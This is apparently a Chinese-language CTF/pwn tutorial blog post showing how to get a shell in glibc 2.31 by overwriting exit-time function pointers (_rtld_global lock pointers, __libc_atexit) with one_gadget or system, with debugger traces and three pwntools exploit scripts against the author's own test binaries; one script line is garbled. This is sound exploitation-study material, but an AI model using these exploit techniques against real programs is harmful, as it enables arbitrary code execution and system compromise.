exit hook


之前经常改 malloc_hook , realloc_hook,free_hook 为 one_gadget 来 get shell ,最近看到一种利用是改 exit hook(winmt师傅告诉我 其实没有exit hook,它是函数指针)。

改 exit_hook 有两种改法,一个是改为 one_gadget ,一个是改为 system ,再控制参数。

首先来看看 exit 这个函数里面究竟是如何调用的。(由于网上 libc版本多为 2.23 ,2.27我就用 2.31 的 libc 来做了实验)

进入 exit 之后我们发现它调用了 __run_exit_handlers ,我们单步进入 __run_exit_handlers。

 1    0x7ffff7e09bc5 5>       pop    rax
 2    0x7ffff7e09bc6 6>       mov    ecx, 1
 3    0x7ffff7e09bcb 11>      mov    edx, 1
 4    0x7ffff7e09bd0 16>      lea    rsi, [rip + 0x1a1b41]         <0x7ffff7fab718>
 5    0x7ffff7e09bd7 23>      sub    rsp, 8
 6  ? 0x7ffff7e09bdb 27>      call   __run_exit_handlers                <__run_exit_handlers>
 7         rdi: 0x0
 8         rsi: 0x7ffff7fab718 (__exit_funcs) —? 0x7ffff7fad980 (initial) ?— 0x0
 9         rdx: 0x1
10         rcx: 0x1
11  
12    0x7ffff7e09be0       endbr64 
13    0x7ffff7e09be4 4>    push   r12
14    0x7ffff7e09be6 6>    push   rbp
15    0x7ffff7e09be7 7>    push   rbx
16    0x7ffff7e09be8 8>    test   rdi, rdi

我们发现 __run_exit_handlers 又会调用 _dl_fini 函数,我们再单步进入。

1    0x7ffff7e1ea0a <__run_exit_handlers+218>    mov    rdi, qword ptr [rax + 0x20]
2    0x7ffff7e1ea0e <__run_exit_handlers+222>    mov    qword ptr [rax + 0x10], 0
3    0x7ffff7e1ea16 <__run_exit_handlers+230>    mov    esi, ebp
4    0x7ffff7e1ea18 <__run_exit_handlers+232>    ror    rdx, 0x11
5    0x7ffff7e1ea1c <__run_exit_handlers+236>    xor    rdx, qword ptr fs:[0x30]
6  ? 0x7ffff7e1ea25 <__run_exit_handlers+245>    call   rdx                           <_dl_fini>
7  
8    0x7ffff7e1ea27 <__run_exit_handlers+247>    jmp    __run_exit_handlers+106                <__run_exit_handlers+106>

看一下 _dl_fini 的源码得知,会调用 rtld_lock_default_lock_recursive 和 rtld_lock_default_unlock_recursive 函数,并且有一个 GL(dl_load_lock) 的传参。


void
_dl_fini (void)
{
  /* Lots of fun ahead.  We have to call the destructors for all still
     loaded objects, in all namespaces.  The problem is that the ELF
     specification now demands that dependencies between the modules
     are taken into account.  I.e., the destructor for a module is
     called before the ones for any of its dependencies.

     To make things more complicated, we cannot simply use the reverse
     order of the constructors.  Since the user might have loaded objects
     using `dlopen' there are possibly several other modules with its
     dependencies to be taken into account.  Therefore we have to start
     determining the order of the modules once again from the beginning.  */

  /* We run the destructors of the main namespaces last.  As for the
     other namespaces, we pick run the destructors in them in reverse
     order of the namespace ID.  */
#ifdef SHARED
  int do_audit = 0;
 again:
#endif
  for (Lmid_t ns = GL(dl_nns) - 1; ns >= 0; --ns)
    {
      /* Protect against concurrent loads and unloads.  */
      __rtld_lock_lock_recursive (GL(dl_load_lock));

      unsigned int nloaded = GL(dl_ns)[ns]._ns_nloaded;
      /* No need to do anything for empty namespaces or those used for
	 auditing DSOs.  */
      if (nloaded == 0
#ifdef SHARED
	  || GL(dl_ns)[ns]._ns_loaded->l_auditing != do_audit
#endif
	  )
	__rtld_lock_unlock_recursive (GL(dl_load_lock));
 

 rtld_lock_default_lock_recursive 和 rtld_lock_default_unlock_recursive 的定义:

# define __rtld_lock_lock_recursive(NAME) \
  GL(dl_rtld_lock_recursive) (&(NAME).mutex)

# define __rtld_lock_unlock_recursive(NAME) \
  GL(dl_rtld_unlock_recursive) (&(NAME).mutex)
#else
# define __rtld_lock_lock_recursive(NAME) \
  __libc_maybe_call (__pthread_mutex_lock, (&(NAME).mutex), 0)

# define __rtld_lock_unlock_recursive(NAME) \
  __libc_maybe_call (__pthread_mutex_unlock, (&(NAME).mutex), 0)
#endif

进入之后找到调用的两个关键函数  rtld_lock_default_lock_recursive 和 rtld_lock_default_unlock_recursive,并且在调用之前会把某个地址里的值赋给 rdi。

   0x7ffff7fe0d7d <_dl_fini+45>     lea    rbx, [r12 + r12*8]
   0x7ffff7fe0d81 <_dl_fini+49>     lea    rax, [rip + 0x1c2d8]          <0x7ffff7ffd060>
   0x7ffff7fe0d88 <_dl_fini+56>     shl    rbx, 4
   0x7ffff7fe0d8c <_dl_fini+60>     add    rbx, rax
   0x7ffff7fe0d8f <_dl_fini+63>     jmp    _dl_fini+106                <_dl_fini+106>
    ↓
 ? 0x7ffff7fe0dba <_dl_fini+106>    lea    rdi, [rip + 0x1cba7]          <0x7ffff7ffd968>
   0x7ffff7fe0dc1 <_dl_fini+113>    call   qword ptr [rip + 0x1d1a1]     
1 pwndbg> x/gx 0x7ffff7ffd968
2 0x7ffff7ffd968 <_rtld_global+2312>:    0x0000000000000000
   0x7ffff7fe0ec0 <_dl_fini+368>    mov    ecx, 1
   0x7ffff7fe0ec5 <_dl_fini+373>    call   _dl_sort_maps                <_dl_sort_maps>
 
   0x7ffff7fe0eca <_dl_fini+378>    lea    rdi, [rip + 0x1ca97]          <0x7ffff7ffd968>
   0x7ffff7fe0ed1 <_dl_fini+385>    call   qword ptr [rip + 0x1d099]     

那个地址其实是结构体 _rtld_global ,里的一部分 ,存在于_dl_load_lock 里,是 _rtld_global._dl_load_lock.mutex.__size的地址。

 1 _dl_load_lock = {
 2     mutex = {
 3       __data = {
 4         __lock = 0,
 5         __count = 0,
 6         __owner = 0,
 7         __nusers = 0,
 8         __kind = 1,
 9         __spins = 0,
10         __elision = 0,
11         __list = {
12           __prev = 0x0,
13           __next = 0x0
14         }
15       },
16       __size = '\000' 16 times>, "\001", '\000' 22 times>,
17       __align = 0
18     }
19   },

 由此我们可以想到两个方法来 get shell 一个是改 rtld_lock_default_lock_recursive 或 rtld_lock_default_unlock_recursive 为 one_gadget , 另一个更通用就是改 rtld_lock_default_lock_recursive 和 rtld_lock_default_unlock_recursive 为 system ,并且把 _rtld_global._dl_load_lock.mutex的值改为 /bin/sh\x00。

找到他们相对于 _rtld_global 偏移

  _dl_rtld_lock_recursive = 0x7ffff7fd0150 ,
  _dl_rtld_unlock_recursive = 0x7ffff7fd0160 ,
0x7ffff7ffdf60 <_rtld_global+3840>:    0x0000000000000000    0x00007ffff7fd0150
0x7ffff7ffdf70 <_rtld_global+3856>:    0x00007ffff7fd0160    0x0000000000000000
0x7ffff7ffd968 <_rtld_global+2312>:    0x0000000000000000

我分别写了两个相应的任意地址写的漏洞程序来测试是否可行。

第一个改为one_gadget,我放了一个任意地址写。

exp: _rtld_global 的 ld 的偏移不变,而 ld 与 libc 的偏移也不变,故我们把 libc 与 ld 都加载进去。
from pwn import *
context.arch = 'amd64'
context.log_level = 'debug'

s = process('./exit_onegadget')
elf = ELF('./exit_onegadget')
libc = ELF('./glibc-all-in-one/libs/2.31-0ubuntu9_amd64/libc-2.31.so')
ld = ELF('./glibc-all-in-one/libs/2.31-0ubuntu9_amd64/ld-2.31.so')

printf_addr = int(s.recv(14),16)
libc_base = printf_addr - libc.sym['printf']
#gdb.attach(s)
ld_base = libc_base + 0x1f4000
_rtld_global = ld_base + ld.sym['_rtld_global']
_dl_rtld_lock_recursive = _rtld_global + 0xf08
_dl_rtld_unlock_recursive = _rtld_global + 0xf10
#_dl_rtld_lock_recursive = 0x7ffff7fd0150
#_dl_rtld_unlock_recursive = 0x7ffff7fd0160

onegadget = [0xe6aee,0xe6af1,0xe6af4]
one_gadget = libc_base + onegadget[0]
success('one_gadget=>' + hex(one_gadget))

s.send(p64(_dl_rtld_lock_recursive))
s.send(p64(one_gadget))

s.interactive()
'''
0xe6aee execve("/bin/sh", r15, r12)
constraints:
  [r15] == NULL || r15 == NULL
  [r12] == NULL || r12 == NULL

0xe6af1 execve("/bin/sh", r15, rdx)
constraints:
  [r15] == NULL || r15 == NULL
  [rdx] == NULL || rdx == NULL

0xe6af4 execve("/bin/sh", rsi, rdx)
constraints:
  [rsi] == NULL || rsi == NULL
  [rdx] == NULL || rdx == NULL
'''

第二个改为 system 和 /bin/sh\x00 我放了两个任意地址写。

exp:

from pwn import *
context.arch = 'amd64'
context.log_level = 'debug'

s = process('./exit_system')
elf = ELF('./exit_system')
libc = ELF('./glibc-all-in-one/libs/2.31-0ubuntu9_amd64/libc.so.6')
ld = ELF('./glibc-all-in-one/libs/2.31-0ubuntu9_amd64/ld-2.31.so')

printf_addr = int(s.recv(14),16)
libc_base = printf_addr - libc.sym['printf']
#gdb.attach(s)
ld_base = libc_base + 0x1f4000
_rtld_global = ld_base + ld.sym['_rtld_global']
_dl_rtld_lock_recursive = _rtld_global + 0xf08
_dl_rtld_unlock_recursive = _rtld_global + 0xf10
_dl_load_lock = _rtld_global + 0x908
#_dl_rtld_lock_recursive = 0x7ffff7fd0150
#_dl_rtld_unlock_recursive = 0x7ffff7fd0160

s.send(p64(_dl_rtld_lock_recursive))
s.send(p64(libc_base + libc.sym['system']))
s.send(p64(_dl_load_lock)) s.send(b
'/bin/sh\x00') s.interactive()

============================================================================================================================

之后winmt师傅告诉我他发现了一个新的小trick,tql tql(我只是 winmt 的搬运工)

关键源码:


  if (run_list_atexit)
    RUN_HOOK (__libc_atexit, ());

  _exit (status);

void
exit (int status)
{
  __run_exit_handlers (status, &__exit_funcs, true);
}
libc_hidden_def (exit)

extern void __run_exit_handlers (int status, struct exit_function_list **listp,
				 bool run_list_atexit)
  attribute_hidden __attribute__ ((__noreturn__));

由这两行他说可以改掉 __libc_atexit 来实现 get shell ,实际上经过测试确实可行。

优点是任意地址改时比上面的操作简单,所改函数就在 libc 里,而不是在 ld 里。

缺点是无法加参数,能不能成功取决于栈结构是否匹配 one_gadget。

可以用 one_gadget 的那个程序来试试这种方法。

from pwn import *
context.arch = 'amd64'
context.log_level = 'debug'

s = process('./a')
libc = ELF('./glibc-all-in-one/libs/2.31-0ubuntu9_amd64/libc.so.6')

printf_addr = int(s.recv(14),16)
libc_base = printf_addr - libc.sym['printf']

onegadget = [0xe6aee,0xe6af1,0xe6af4]
one_gadget = libc_base + onegadget[0]
success('one_gadget=>' + hex(one_gadget))

s.send(p64(libc_base + 0x1ED608))
s.send(p64(one_gadget))

s.interactive()

附件 

提取码:1jsi